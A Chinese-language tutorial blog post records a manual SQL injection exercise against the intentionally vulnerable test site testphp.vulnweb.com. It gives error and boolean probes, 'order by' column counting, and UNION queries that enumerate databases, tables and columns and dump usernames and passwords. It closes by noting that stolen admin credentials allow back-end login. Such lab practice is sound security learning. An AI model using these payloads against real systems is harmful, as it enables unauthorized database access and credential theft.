前言
随笔一篇,记录方法,举一反三。
1 环境
① 在线漏洞网站:http://testphp.vulnweb.com
② 浏览器:Firefox
③ 插件:Hackbar Quantum
ps: 正版 Hackbar 已经收费,解决方法:
【1】采用低版本的 Hackbar
【2】采用其他替代品,如:
本次实验主要使用 Backbar Quantum
load: 加载当前页面的 URL
split: 拆分 URL
run: 执行 URL
2 实战
2.1 寻找可疑注入点
2.2 注入点测试
① 报错测试
单引号;双引号;左括号;右括号
② Boolean 盲注( and 1=1; and 1=2 )
2.2.1 单引号测试
2.2.2 Boolean (and 1=1)
2.2.3 Boolean(and 1=2)
2.2.4 总结
由以上三个步骤可以推断该漏洞为 SQL 数字型注入漏洞
SQL 语句为:sql = " select * from【表】 where cat = $cat ";
2.3 猜测字段数
命令:order by【数字】
功能:当猜测的数字小于或等于实际字段数,回显正确,否则报错。
2.3.1 order by 10
2.3.2 order by 11
2.3.3 order by 12
2.3.4 总结
由以上猜测得出实际字段数为 11
2.4 UNION 联合查询
2.4.1 查看回显数字位置
回显的数字为 2,7,9;可在回显数字的位置防止 SQL 查询语句。
2.4.2 常见查询的函数
① version() – 数据库版本
② user() – 数据库用户
③ database() – 当前所在数据库
④ current_user() – 当前用户名
⑤ system_user() – 系统用户名
⑥ session_user() – 连接到数据库的用户名
⑦ @@basedir – 数据库的安装目录
⑧ @@datadir – 数据库文件存放目录
2.4.3 查询所有数据库
select group_concat(schema_name) from information_schema.schemata
2.4.4 查询某数据库下所有表
查询 acuart 数据库下所有表
select group_concat(table_name) from information_schema.tables where table_schema=‘acuart’
2.4.5 查询某表下所有字段
查询 users 表下所有字段
select group_concat(column_name) from information_schema.columns where table_name=‘users’
2.4.6 查询字段的所有内容
查询 uname 和 pass 字段的内容
select group_concat(uname) from users
select group_concat(pass) from users
2.4.7 总结
一般拿到管理员的后台登录的用户名和密码的话,就可以通过查找网站的后台登录页面直接登录操作。
结尾
SQL 注入方法多种多样且灵活多变,本文只介绍到 SQL 手动注入的 UNION 联合查询的一小部分用法,用于记录,训练,巩固。
猪头
2019.12.13